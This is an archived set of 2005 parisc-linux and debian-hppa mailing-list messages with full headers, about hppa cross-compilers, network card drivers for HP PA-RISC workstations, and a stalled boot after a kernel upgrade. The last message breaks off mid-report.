X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: TT1iYihgeSE5+76WZHQhaXN2IGRvb0CW
Status: R
X-Status: N
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25101


--/NkBOFFp2J2Af1nK
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi all,
are there any cross compilers for hppa in Debian bundle? what do you use to
x-compile from non-hppa to hppa?
Thank you in advance

Regards

SteX

PS: on ESIEE site I found some x-compilers, which I couldn't find as .deb;
is it the case to package for debian?
--=20
GPG key =3D D52DF829   --   Stex   --  <stefano.melchior@openlabs.it>
Keyserver: http://keyserver.kjsl.com - http://www.openlabs.it/~stex
Registered user #324592 on the Linux Counter, http://counter.li.org

--/NkBOFFp2J2Af1nK
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)

iQCVAwUBQhBX2IlnkxrVLfgpAQLOpQP/b4+sehoTJgWN+K0A6D7sTXtERhzBCc5l
2ZxxWOdvioJm+JKd9Y8ruCS6DQY2CA1lw2qUG8Vw4LOZ2653/4LMBq7oGw0tDBs4
XJnMsYXY1i/2jilms+7gap773QvxX4aqEINpmJ4o5A586a16BJCR8MlBwXFYFfUt
VqgGQECAhMk=
=Fnd/
-----END PGP SIGNATURE-----

--/NkBOFFp2J2Af1nK--


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NIC & "searching for devices"
Date: Tue, 22 Feb 2005 06:34:58 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <e6eae02905022122345edc35f7__3841.18255828998$1416624534$gmane$org@mail.gmail.com>
References: <FHEGKPBPFFGIFBGOANOKEELDEPAA.h.cochran@comcast.net>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624534 26709 80.91.229.3 (22 Nov 2014 02:48:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:54 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: Harry Cochran <h.cochran@comcast.net>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Feb 2005 06:35:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 22 Feb 2005 07:35:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7708C7D627;
	Mon, 21 Feb 2005 23:35:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01751-08; Mon, 21 Feb 2005 23:35:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74E2D7D629;
	Mon, 21 Feb 2005 23:35:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B90EF7D615
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Feb 2005 23:35:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02245-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Feb 2005 23:35:53 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5495F7D611
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Feb 2005 23:35:53 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id B7F44495E22; Mon, 21 Feb 2005 23:35:12 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.200])
	by palinux.hppa (Postfix) with ESMTP id 168014958B8
	for <parisc-linux@parisc-linux.org>;
	Mon, 21 Feb 2005 23:35:11 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id 58so1285853wri
	for <parisc-linux@parisc-linux.org>;
	Mon, 21 Feb 2005 22:35:03 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references;
	b=BJqPccIm8tqfebQGPQUUXGIRwM9AKC/WhIoLEwd3HMdbS/Lx/ZACL9tNxn/U4ygAkmd6gLH4GLq3HgQ82eIYO/irrpHo3LVA00oS5TWwck2OWTHO7jnt9GnIUTe/ykd+2TmLyMQVJo2CyauCNIPza4gxNT3CVfMDnLkHXzlAUbI=
Original-Received: by 10.54.47.40 with SMTP id u40mr167914wru;
	Mon, 21 Feb 2005 22:35:02 -0800 (PST)
Original-Received: by 10.54.57.13 with HTTP; Mon, 21 Feb 2005 22:34:58 -0800 (PST)
In-Reply-To: <FHEGKPBPFFGIFBGOANOKEELDEPAA.h.cochran@comcast.net>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y75xKl0RTlIv47eQeGhrSVVGU2poZZm+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25102

On Mon, 21 Feb 2005 14:48:32 -0500, Harry Cochran <h.cochran@comcast.net> wrote:
> Hi,
> 
>         I have two problems I'm hoping to get help with:
> 
> 1. I need to add a NIC to my C3600. I discovered that there is no driver for
> the 3COM 3C905C and I don't recognize the drivers that are there. Could
> someone please tell me if there is a driver I can download for the 3C905C
> (the 3COM site has a "Linux" driver, but it's only for x86 platforms), or
> alternatively, what's the best 10/100 NIC I can buy and put in for which
> there is a Debian hppa driver.

As willy described, the driver for your 3Com card is in the 'vortex' driver.
I usually recommend Intel ExterExpress 100 and DEC/Intel Tulip cards;
those cards are usually more expensive, but the h/w is not as brain-dead
as the rest of the 100MBit NICs out there.
Personally I use a Intel EtherExpress 100 Pro as a second NIC in my
C3000 (with the e100 driver) and it works fine. I had less success with
a noname RealTek 8139 card, but I haven't tried that one for some years.

> 2. I upgraded my J6000 to 2.4.27 and added usb support. Now when I boot it
> gets to "Page-cache table entries ..." and then says "Searching for Devices"
> and says "Searching for Devices". This never times out ... it just sits
> there. I did get the machine to boot by adding an EG-PCI and a usb keyboard
> (it automatically went to pa con Graphics(3)), but the graphics are screwy
> (color dummy paints the right half of the screen with the boot lines and it
> dies somewhere along the way that isn't readable). I did get it to boot by
> brining it up in graphics mode, putting it into serial mode (pa con
> Serial_1) and then booting, but now when I boot again in serial mode with no
> keyboard and monitor attached, it says "Searching for Devices" again. I
> would like to get back to the point where it would just boot in serial
> console mode.

I have a C3000 that uses serial console, but it has a USB keyboard/mouse
attached. I use X with it (using an old Matrox Millenium card) which works
quite nicely with lastest CVS kernels from cvs.p-l.org (both 2.4 and 2.6).
I was definitely able to boot without USB keyboard/mouse attached and
with USB support built-in, but OTOH I haven't used 2.4 lately and I usually
boot with keyboard/mouse plugged in.

You might want to switch to 2.6, since apparently most of the PA hackers 
are no longer interested in 2.4 (the latest CVS version on cvs.p-l.org 
is 2.4.27 which has known security vulnerabilities; CVS 2.4 hasn't
been touched for about half a year now. I don't know about the debian
kernels).

Greetings,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NIC & "searching for devices"
Date: Tue, 22 Feb 2005 10:34:46 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <420B30A200004CEC__45623.0853255422$1416624534$gmane$org@mail-1-bnl.tiscali.it>
References: <e6eae02905022122345edc35f7@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624534 26712 80.91.229.3 (22 Nov 2014 02:48:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:54 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: "Max Grabert" <parisc@gmail.com>,
 "Harry Cochran" <h.cochran@comcast.net>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Feb 2005 09:35:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 22 Feb 2005 10:35:07 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6B507D627;
	Tue, 22 Feb 2005 02:35:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03124-02; Tue, 22 Feb 2005 02:35:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB5427D629;
	Tue, 22 Feb 2005 02:35:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FCAD7D615
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Feb 2005 02:35:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02962-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Feb 2005 02:35:35 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 45B647D611
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Feb 2005 02:35:35 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id B86D54958B8; Tue, 22 Feb 2005 02:34:55 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrq-1.tiscali.sys (mrqout1.tiscali.it [195.130.225.11])
	by palinux.hppa (Postfix) with ESMTP id 62A1B4953BF
	for <parisc-linux@parisc-linux.org>;
	Tue, 22 Feb 2005 02:34:55 -0700 (MST)
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrq-1.tiscali.sys with esmtp (Exim 4.43)
	id 1D3WRL-0004Ru-CK; Tue, 22 Feb 2005 10:34:50 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Tue, 22 Feb 2005 10:34:46 +0100
In-Reply-To: <e6eae02905022122345edc35f7@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rZBxKngJTlIv47eQeGhrSVVGU2poZdns
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25103

> 
> On Mon, 21 Feb 2005 14:48:32 -0500, Harry Cochran <h.cochran@comcast.ne=
t>
> wrote:
> > Hi,
> > 
> >         I have two problems I'm hoping to get help with:
> > 
> > 1. I need to add a NIC to my C3600. I discovered that there is no dri=
ver
> for
> > the 3COM 3C905C and I don't recognize the drivers that are there. Cou=
ld
> > someone please tell me if there is a driver I can download for the 3C=
905C
> > (the 3COM site has a "Linux" driver, but it's only for x86 platforms)=
,
> or
> > alternatively, what's the best 10/100 NIC I can buy and put in for wh=
ich
> > there is a Debian hppa driver.
> 
> As willy described, the driver for your 3Com card is in the 'vortex' dr=
iver.

Yes but I encountered weird difficulties (even on a i386 box) to configur=
e
a brother model 3C905B as needed:
see this old thread <http://lists.parisc-linux.org/pipermail/parisc-linux=
/2003-November/021619.html>

Hth,
   Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NIC & "searching for devices"
Date: Wed, 23 Feb 2005 06:48:31 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <e6eae02905022222484ae1fdad__32045.2714841396$1416624535$gmane$org@mail.gmail.com>
References: <e6eae02905022122345edc35f7@mail.gmail.com>
	<420B30A200004CEC@mail-1-bnl.tiscali.it>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624535 26714 80.91.229.3 (22 Nov 2014 02:48:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:55 +0000 (UTC)
Cc: Harry Cochran <h.cochran@comcast.net>,
 parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Feb 2005 06:48:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 23 Feb 2005 07:48:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 532A47D633;
	Tue, 22 Feb 2005 23:49:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09100-01; Tue, 22 Feb 2005 23:49:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 175D87D629;
	Tue, 22 Feb 2005 23:49:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBD0C7D626
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Feb 2005 23:49:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07728-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Feb 2005 23:49:16 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 703E17D615
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Feb 2005 23:49:16 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 749AD4958B8; Tue, 22 Feb 2005 23:48:34 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201])
	by palinux.hppa (Postfix) with ESMTP id DB90D4953C1
	for <parisc-linux@parisc-linux.org>;
	Tue, 22 Feb 2005 23:48:33 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id 58so1565528wri
	for <parisc-linux@parisc-linux.org>;
	Tue, 22 Feb 2005 22:48:31 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references;
	b=day22/6gnhZA3gnrLmY4x9EBbAKw7VWjNKBXGI48fAcIo2eqtvYkXj1u6mJcSQRjdM4GXG2PpA6tadNXxMZS23PB+2L+JQdaj1KOBj1wYPRtQdPvzEYGUmwFtF1EvhmKOrncgAzEnykWSVmXIdi/GmRvJdiwjb18AWTA36Z6yIY=
Original-Received: by 10.54.8.63 with SMTP id 63mr2586wrh;
	Tue, 22 Feb 2005 22:48:31 -0800 (PST)
Original-Received: by 10.54.57.13 with HTTP; Tue, 22 Feb 2005 22:48:31 -0800 (PST)
In-Reply-To: <420B30A200004CEC@mail-1-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: M0t3Kh9cTlIv47eQeGhrSVVGU2poZVkP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25104

On Tue, 22 Feb 2005 10:34:46 +0100, Joel Soete <soete.joel@tiscali.be> wrote:

[....]

> Yes but I encountered weird difficulties (even on a i386 box) 
> to configure a brother model 3C905B as needed:
> see this old thread <http://lists.parisc-linux.org/pipermail/parisc-linux/2003-November/021619.html>

kargellan:/home/xam# lspci
0000:00:0d.0 Ethernet controller: 3Com Corporation 3c905C TX/TX-M
[Tornado] (rev 78)
0000:00:0e.0 Ethernet controller: 3Com Corporation 3c905B 100BaseTX
[Cyclone] (rev 30)
0000:00:0f.0 Ethernet controller: 3Com Corporation 3c905C-TX/TX-M
[Tornado] (rev 78)
[...]

As you can see this is a ix86 machine with three 3com NICs
in it; It is running stable for almost 2 years now. Right now it is
running 2.6.11-rc4. BTW, all three network cards share one
interrupt (IRQ 11), which is also used by the USB port.

And there is also my ix86 laptop that is using a 'vortex' network
card, also running fine for almost 3 years now with many 
different linux kernel.

I'd rather say either your network card is broken/of poor quality
or there are some compatibility issues with your ix86  motherboard.
Anyway, this is going way off-topic ...


In my experience 3Com often produced okay-nice cards, but
sometimes they managed to release utter crap as well.
IMHO there are better alternatives available (Intel/DEC), 
where I don't have to take any risks.


Greetings,
  Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Harry Cochran" <h.cochran@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Upgrading from 2.4 to 2.6
Date: Wed, 23 Feb 2005 15:43:45 -0500
Lines: 63
Approved: news@gmane.org
Message-ID: <FHEGKPBPFFGIFBGOANOKAEMPEPAA.h.cochran@comcast.net>
References: <20050222210531.6c4fccc2@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624535 26716 80.91.229.3 (22 Nov 2014 02:48:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:55 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>,
 <debian-hppa@lists.debian.org>
Original-X-From: - Wed Jul 02 21:28:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Feb 2005 20:50:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 23 Feb 2005 21:50:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C8E57D62E;
	Wed, 23 Feb 2005 13:50:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13922-05; Wed, 23 Feb 2005 13:50:42 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 889947D629;
	Wed, 23 Feb 2005 13:50:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B93577D615
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Feb 2005 13:50:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13738-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Feb 2005 13:50:38 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5F44C7D611
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Feb 2005 13:50:38 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 1A9A14958B8; Wed, 23 Feb 2005 13:49:56 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sccrmhc12.comcast.net (sccrmhc12.comcast.net [204.127.202.56])
	by palinux.hppa (Postfix) with ESMTP id 94CEE49536A
	for <parisc-linux@parisc-linux.org>;
	Wed, 23 Feb 2005 13:49:55 -0700 (MST)
Original-Received: from bridgeman (h0002169c2280.ne.client2.attbi.com[24.218.38.88])
	by comcast.net (sccrmhc12) with SMTP
	id <2005022320495401200rrlc0e>; Wed, 23 Feb 2005 20:49:54 +0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-Originating-IP: [146.82.138.6]
In-Reply-To: <20050222210531.6c4fccc2@Tatooine.r3z0>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441
X-Original-To: debian-hppa@lists.debian.org
X-Rc-Spam: 2005-02-20_01
X-Rc-Virus: 2005-02-17_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-4.2 required=4.0 tests=AWL, IMPRONONCABLE_1,
	LDOSUBSCRIBER autolearn=no
	version=2.63-lists.debian.org_2005_02_21_01
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4199
X-Loop: debian-hppa@lists.debian.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HYB3KpRCTlIv47eQeGhrSVVGU2poZRkB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25105

Hi,

	Could someone please help me recover from a failed attempt to upgrade my
J6000 to 2.6?

	Looks like I can't boot the 2.4 kernel I have on the system because it's
name doesn't end in 32 or 64 (it ends in smp) -><-.

	My J6000 has a cd-rom, so I thought maybe I could boot from that, but sea
ipl doesn't find it.

Here's my original question:

*************

	Sorry for the newbie question, but I'm trying to boot 2.6 and I don't quite
understand how to set up the "root=" for it.

My palo.conf says:
--command line=1/boot/vmlinux root=/dev/sda3 HOME=/ initrd=/initrd.img
console=ttyS0 TERM=vt102
--recoverykernel=/boot/vmlinux
--init-partitioned=/dev/sda

Here's what my palo.conf generates on boot right now:

0 1/boot/vmlinux
1 root=/dev/sda3
2 HOME=/
3 initrd=/initrd.img
4 console=ttys0
5 TERM=vt102

On boot I get:

